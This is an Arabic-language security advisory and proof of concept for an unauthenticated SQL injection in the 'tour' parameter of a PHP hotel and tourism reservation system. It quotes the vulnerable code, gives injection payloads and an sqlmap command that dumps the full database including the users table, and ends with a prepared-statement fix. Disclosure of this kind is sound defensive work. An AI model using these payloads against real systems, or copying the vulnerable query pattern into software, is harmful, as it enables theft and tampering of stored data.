
إثبات مفهوم لحقن SQL غير مصادق عليه في نظام حجز الفنادق والسياحة 1.0، مما يوضح استخراج قاعدة البيانات عبر معلمة tour.
| الحقل | التفاصيل |
|---|
| العنوان | نظام حجز الفنادق والسياحة - حقن SQL عبر معامل GET tour |
| البائع | code-projects.org |
| رابط البائع | https://code-projects.org/hotel-and-tourism-reservation-in-php-with-source-code/ |
| المنتج | نظام حجز الفنادق والسياحة |
| الإصدار | 1.0 |
| نوع الثغرة | حقن SQL |
| CWE | CWE-89 |
| درجة CVSS | 9.8 (حرجة) |
| متجه CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| الملف المتأثر | /ht/tour.php |
| المعامل المتأثر | tour (GET) |
| المصادقة المطلوبة | لا |
| قابل للاستغلال عن بُعد | نعم |
| الباحث | Syed Imad Uddin Alvi |
توجد ثغرة حرجة لحقن SQL في معامل GET tour في ملف tour.php في نظام حجز الفنادق والسياحة الإصدار 1.0. يتم تمرير المعامل مباشرة إلى استعلام SQL خام دون أي تنقية أو استخدام لجمل محضّرة أو التحقق من المدخلات. يمكن لمهاجم عن بُعد غير مصادق التلاعب بالاستعلام لاستخراج أو تعديل أو حذف أي بيانات في قاعدة البيانات. تم تأكيد الثغرة من خلال تفريغ كامل لقاعدة البيانات باستخدام sqlmap.
الكود المعرض للخطر في tour.php:
if(isset($_GET['tour'])) {
$tourID = $_GET['tour'];
$select = $db->query("SELECT * FROM tourism WHERE id = '{$tourID}' ");
$s = $db->query("SELECT * FROM tourism WHERE id = '{$tourID}' ");
$data = mysqli_fetch_assoc($s);
$tourID مأخوذة مباشرة من $_GET['tour'] ويتم إدراجها في استعلام SQL دون أي تنقية على الإطلاق.
الإعداد: قم بتثبيت نظام حجز الفنادق والسياحة الإصدار 1.0 على XAMPP وادخل عبر http://<target>/ht/
الخطوة 1 — زيارة أي صفحة جولة كمستخدم غير مصادق:
http://<target>/ht/tour.php?tour=4

الخطوة 2 — حقن علامة اقتباس مفردة لكسر استعلام SQL وتأكيد الثغرة:
http://<target>/ht/tour.php?tour='
النتيجة: يتم طرح خطأ MySQL مميت — مما يؤكد أن المدخلات غير المنقاة تصل إلى استعلام SQL.

الخطوة 3 — تأكيد حقن SQL باستخدام حمولة منطقية:
http://<target>/ht/tour.php?tour=' or 1=1 -- -
النتيجة: يتم تحميل الصفحة بشكل طبيعي مع بيانات الجولة — تم نجاح الحقن المنطقي.

الخطوة 4 — تفريغ قاعدة البيانات بأكملها باستخدام sqlmap:
sqlmap -r sqli.txt --dump --batch
النتيجة: يقوم sqlmap بتفريغ جميع الجداول في hotel_db بنجاح بما في ذلك users, rooms, tour_reserves, gallery — تم تأكيد اختراق قاعدة البيانات بالكامل.

يمكن لمهاجم عن بُعد غير مصادق:
INTO OUTFILE إذا تم منح صلاحيات الملفيتم إدراج معامل GET tour مباشرة في استعلام SQL خام دون استخدام جمل محضّرة أو استعلامات ذات معاملات أو تنقية المدخلات:
// VULNERABLE
$tourID = $_GET['tour'];
$select = $db->query("SELECT * FROM tourism WHERE id = '{$tourID}' ");
// FIXED — use prepared statements
$stmt = $db->prepare("SELECT * FROM tourism WHERE id = ?");
$stmt->bind_param("i", $_GET['tour']);
$stmt->execute();
Syed Imad Uddin Alvi — باحث أمني مستقل